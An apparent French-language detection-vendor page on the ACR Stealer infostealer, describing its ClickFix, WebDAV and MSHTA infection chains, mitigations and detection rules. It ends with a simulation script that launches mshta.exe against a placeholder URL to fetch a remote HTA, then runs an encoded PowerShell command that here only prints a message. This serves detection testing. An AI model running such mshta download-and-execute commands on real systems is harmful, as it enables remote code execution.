ACR Stealer : Deux chaînes d’intrusion observées lors d’une activité accrue de menace
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
ACR Stealer est une famille de malwares voleurs d’informations utilisant des leurres d’ingénierie sociale de type ClickFix pour cibler les environnements d’entreprise. Le malware opère à travers deux chaînes d’infection principales : l’une repose sur des charges utiles livrées par WebDAV avec des chargeurs Python et un commandement et contrôle basé sur la blockchain, et l’autre utilise MSHTA avec une livraison de charge utile stéganographique. Son objectif principal est de voler les identifiants des navigateurs, les jetons d’authentification, et les documents sensibles.
Investigation
Les experts de Microsoft Defender ont observé une activité accrue entre fin avril et mi-juin 2026. L’enquête a identifié deux chemins d’exécution distincts : une campagne basée sur disque impliquant Python et des tâches planifiées, et une campagne sans fichier utilisant MSHTA et l’exécution de shellcode en mémoire. Les analystes ont également documenté des méthodes d’évasion avancées, notamment le timestomping, le PowerShell obscurci et des résolveurs inactifs soutenus par la blockchain.
Atténuation
Les organisations devraient former les utilisateurs à reconnaître les invites ClickFix et limiter l’exécution de scripts non approuvés via le contrôle des applications. Réduire l’exposition au malvertising et appliquer le filtrage Web peut aider à perturber les tentatives d’accès initial. Renforcer les points de terminaison en limitant la dépendance aux identifiants stockés dans le navigateur et appliquer l’authentification multi-facteurs est également essentiel pour réduire le risque de vol d’identifiants.
Réponse
Si cette activité est détectée, les appareils affectés doivent être isolés immédiatement et tous les identifiants et jetons potentiellement compromis doivent être remplacés. Les jetons de session doivent être révoqués, et les enquêteurs devraient examiner les connexions sortantes vers des partages distants ou des services d’hébergement d’images suspects. L’EDR en mode bloc devrait être utilisé pour contenir la menace et éliminer efficacement les artefacts malveillants.
Flux d’attaque
Détections
Comportement d’évasion de la défense MSHTA LOLBAS suspect par détection de commandes associées (via process_creation)
Voir
LOLBAS Conhost (via cmdline)
Voir
Tâche planifiée via un objet COM (via powershell)
Voir
Possibilité de découverte d’informations système utilisant le module Wmi Powershell (via powershell)
Voir
Détection de PowerShell obfusqué et de tâches planifiées se faisant passer pour des mises à jour logicielles [Windows Powershell]
Voir
Détection de l’exécution d’ACR Stealer via ClickFix Lures [Création de processus Windows]
Voir
Exécution de simulation
Prérequis : Le pré-vérification de télémétrie et de base de référence doit avoir été réussie.
Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit doivent refléter directement les TTPs identifiés et visent à générer exactement la télémétrie attendue par la logique de détection. Des exemples abstraits ou non liés entraîneront une erreur de diagnostic.
-
Narratif d’attentat & Commandes : L’adversaire cible un utilisateur avec une fausse « erreur de navigateur » (ClickFix). Une fois que l’utilisateur copie et colle la commande dans un terminal,
cmd.exeest invoqué. La commande instruitmshta.exeà se connecter à une URL distante pour récupérer un script malveillant. Pour éviter une détection simple de chaîne, le script utilisepowershell.exeavec une commande encodée (-Enc) pour télécharger et exécuter le malware ACR Stealer en mémoire, contournant l’analyse traditionnelle basée sur les fichiers. -
Script de test de régression :
# Simulation de la chaîne ACR Stealer ClickFix # Étape 1 : Simule le wrapper cmd.exe # Étape 2 : Invoque mshta.exe avec une URL # Étape 3 : Suivi d'une commande PowerShell encodée $encodedCommand = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("Write-Host 'Simulation de l'exécution de la charge utile ACR Stealer'")) Start-Process "cmd.exe" -ArgumentList "/c mshta.exe https://example.com/payload.hta & powershell.exe -Enc $encodedCommand" -
Commandes de nettoyage :
# Aucun fichier persistant n'est créé dans cette simulation, mais assurez-vous qu'aucun processus orphelin ne reste Stop-Process -Name "mshta" -ErrorAction SilentlyContinue Stop-Process -Name "powershell" -ErrorAction SilentlyContinue